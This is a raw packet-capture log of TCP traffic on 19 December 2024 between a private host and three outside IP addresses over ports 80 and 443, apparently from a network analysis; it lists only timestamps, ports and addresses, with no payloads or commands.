Dec 19, 2024 16:10:34.858880043 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.864739895 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.864918947 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.865103006 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.865115881 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.865151882 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.865164042 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.865505934 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.865549088 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.866089106 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.866136074 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.866235971 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.866292000 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.867424011 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.867470980 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.867615938 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.867659092 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.867717981 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.867767096 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.868607044 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.868619919 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.868657112 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.868669033 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.869463921 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.869508028 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.870023966 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.870094061 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.870388031 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.870552063 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.870726109 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.870776892 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.871361971 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.871417046 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.871876001 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.872020006 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.872423887 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.872466087 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.872524023 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.872564077 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.873431921 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.873497009 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.873817921 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.873917103 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.874368906 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.874423981 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.874547958 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.874623060 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.875140905 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.875148058 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.875204086 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.876132011 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.876188993 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.876832008 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.876877069 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.877130032 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.877341032 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.877563000 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.877659082 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.878137112 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.878150940 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.878225088 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.879009962 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.879074097 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.879401922 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.879450083 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.880028009 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.880179882 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.880218029 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.880260944 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.881232023 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.881269932 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.881314993 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.881465912 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.882252932 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.882263899 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.882308960 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.883173943 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.883311033 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:35.627774954 CET	443	49911	94.130.191.168	192.168.2.6
Dec 19, 2024 16:10:35.627876997 CET	49911	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:35.641186953 CET	49911	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:35.641202927 CET	443	49911	94.130.191.168	192.168.2.6
Dec 19, 2024 16:10:35.641572952 CET	443	49911	94.130.191.168	192.168.2.6
Dec 19, 2024 16:10:35.641680956 CET	49911	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:35.642298937 CET	49911	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:35.683334112 CET	443	49911	94.130.191.168	192.168.2.6
Dec 19, 2024 16:10:36.318396091 CET	443	49911	94.130.191.168	192.168.2.6
Dec 19, 2024 16:10:36.318470001 CET	443	49911	94.130.191.168	192.168.2.6
Dec 19, 2024 16:10:36.318514109 CET	49911	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:36.318514109 CET	49911	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:36.326765060 CET	49911	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:36.326786995 CET	443	49911	94.130.191.168	192.168.2.6
Dec 19, 2024 16:10:36.336561918 CET	49918	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:36.336623907 CET	443	49918	94.130.191.168	192.168.2.6
Dec 19, 2024 16:10:36.336888075 CET	49918	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:36.337156057 CET	49918	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:36.337173939 CET	443	49918	94.130.191.168	192.168.2.6
Dec 19, 2024 16:10:37.769661903 CET	443	49918	94.130.191.168	192.168.2.6
Dec 19, 2024 16:10:37.769721985 CET	49918	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:37.796025038 CET	49918	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:37.796039104 CET	443	49918	94.130.191.168	192.168.2.6
Dec 19, 2024 16:10:37.798815966 CET	49918	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:37.798823118 CET	443	49918	94.130.191.168	192.168.2.6
Dec 19, 2024 16:10:38.363643885 CET	49875	80	192.168.2.6	185.215.113.43
Dec 19, 2024 16:10:38.364440918 CET	49922	80	192.168.2.6	185.215.113.43
Dec 19, 2024 16:10:38.486473083 CET	80	49875	185.215.113.43	192.168.2.6
Dec 19, 2024 16:10:38.486557007 CET	49875	80	192.168.2.6	185.215.113.43
Dec 19, 2024 16:10:38.486623049 CET	80	49922	185.215.113.43	192.168.2.6
Dec 19, 2024 16:10:38.487375975 CET	49922	80	192.168.2.6	185.215.113.43
Dec 19, 2024 16:10:38.529082060 CET	49922	80	192.168.2.6	185.215.113.43
Dec 19, 2024 16:10:38.648701906 CET	80	49922	185.215.113.43	192.168.2.6
Dec 19, 2024 16:10:38.723802090 CET	443	49918	94.130.191.168	192.168.2.6
Dec 19, 2024 16:10:38.723886967 CET	443	49918	94.130.191.168	192.168.2.6
Dec 19, 2024 16:10:38.724004984 CET	49918	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:38.775146961 CET	49918	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:38.775175095 CET	443	49918	94.130.191.168	192.168.2.6
Dec 19, 2024 16:10:39.084856033 CET	49925	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:39.084902048 CET	443	49925	94.130.191.168	192.168.2.6
Dec 19, 2024 16:10:39.085061073 CET	49925	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:39.087985992 CET	49925	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:39.087997913 CET	443	49925	94.130.191.168	192.168.2.6
Dec 19, 2024 16:10:39.832595110 CET	80	49922	185.215.113.43	192.168.2.6
Dec 19, 2024 16:10:39.832658052 CET	49922	80	192.168.2.6	185.215.113.43
Dec 19, 2024 16:10:39.840889931 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:39.841304064 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:39.960871935 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:39.960891008 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:39.960952997 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:39.960978985 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:39.962579012 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:40.082103014 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:40.495066881 CET	443	49925	94.130.191.168	192.168.2.6
Dec 19, 2024 16:10:40.495145082 CET	49925	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:40.499245882 CET	49925	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:40.499269962 CET	443	49925	94.130.191.168	192.168.2.6
Dec 19, 2024 16:10:40.501348019 CET	49925	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:40.501352072 CET	443	49925	94.130.191.168	192.168.2.6
Dec 19, 2024 16:10:41.298085928 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.298139095 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.298152924 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.298155069 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.298199892 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.298371077 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.298382998 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.298396111 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.298408031 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.298418999 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.298423052 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.298434973 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.298463106 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.298618078 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.298630953 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.298664093 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.298688889 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.388397932 CET	443	49925	94.130.191.168	192.168.2.6
Dec 19, 2024 16:10:41.388423920 CET	443	49925	94.130.191.168	192.168.2.6
Dec 19, 2024 16:10:41.388489962 CET	443	49925	94.130.191.168	192.168.2.6
Dec 19, 2024 16:10:41.388500929 CET	49925	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:41.388554096 CET	49925	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:41.398031950 CET	49925	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:41.398055077 CET	443	49925	94.130.191.168	192.168.2.6
Dec 19, 2024 16:10:41.418502092 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.418517113 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.418580055 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.422667980 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.423731089 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.423795938 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.490288973 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.490344048 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.490351915 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.490392923 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.494630098 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.494669914 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.494693995 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.494731903 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.502778053 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.502825975 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.502896070 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.503000021 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.511202097 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.511231899 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.511276960 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.511327982 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.519727945 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.519764900 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.519778967 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.519797087 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.528245926 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.528325081 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.528356075 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.528374910 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.530046940 CET	49934	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:41.530092001 CET	443	49934	94.130.191.168	192.168.2.6
Dec 19, 2024 16:10:41.530149937 CET	49934	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:41.531029940 CET	49934	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:41.531044960 CET	443	49934	94.130.191.168	192.168.2.6
Dec 19, 2024 16:10:41.536361933 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.536475897 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.536530018 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.544892073 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.544990063 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.545056105 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.553091049 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.553152084 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.553195000 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.553329945 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.560826063 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.560839891 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.560867071 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.560882092 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.568454027 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.568496943 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.568675995 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.568721056 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.576119900 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.576497078 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.659311056 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.659395933 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.659504890 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.685182095 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.685292006 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.685353994 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.687504053 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.687553883 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.687589884 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.687628031 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.692250967 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.692353964 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.692384958 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.692420959 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.696973085 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.697033882 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.697076082 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.698208094 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.701807976 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.701862097 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.702028990 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.702085972 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.706337929 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.706346989 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.706403971 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.710881948 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.711040974 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.711097956 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.715517998 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.715579033 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.715663910 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.715708971 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.720110893 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.720268965 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.720343113 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.724689007 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.724828959 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.724903107 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.729460955 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.729610920 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.729671955 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.733915091 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.734030962 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.734092951 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.738485098 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.738545895 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.738651037 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.738941908 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.743149042 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.743273973 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.743318081 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.743361950 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.747803926 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.747847080 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.747860909 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.747904062 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.752299070 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.752346992 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.752410889 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.752799034 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.757685900 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.757769108 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.757772923 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.758223057 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.761640072 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.761697054 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.761801958 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.761845112 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.766171932 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.766231060 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.766275883 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.766313076 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.770759106 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.770811081 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.770852089 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.770890951 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.775424957 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.775441885 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.775471926 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.775496006 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.779866934 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.779931068 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.863166094 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.863184929 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.863255024 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.864932060 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.864986897 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.874572039 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.874649048 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.874664068 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.874761105 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.876388073 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.876463890 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.876511097 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.876554012 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.880000114 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.880047083 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.881308079 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.881402016 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.881434917 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.881434917 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.884978056 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.885035992 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.885092020 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.885236025 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.888628960 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.888681889 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.888710976 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.888782024 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.892021894 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.892069101 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.892152071 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.892199039 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.895579100 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.895592928 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.895637035 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.895658970 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.898762941 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.898811102 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.898891926 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.898996115 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.902040005 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.902089119 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.902131081 CET	80	49931	31.41.244.11	192.168.2.6
